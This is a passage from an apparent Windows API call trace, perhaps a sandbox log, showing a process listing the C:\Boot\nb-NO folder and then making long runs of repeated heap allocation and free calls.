lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.537] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.537] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.537] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.538] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.538] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.538] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.538] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.538] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.538] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.538] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.539] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.539] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.540] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.540] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.541] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.541] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.542] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.542] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.543] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.543] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.544] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.544] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.545] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.545] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) 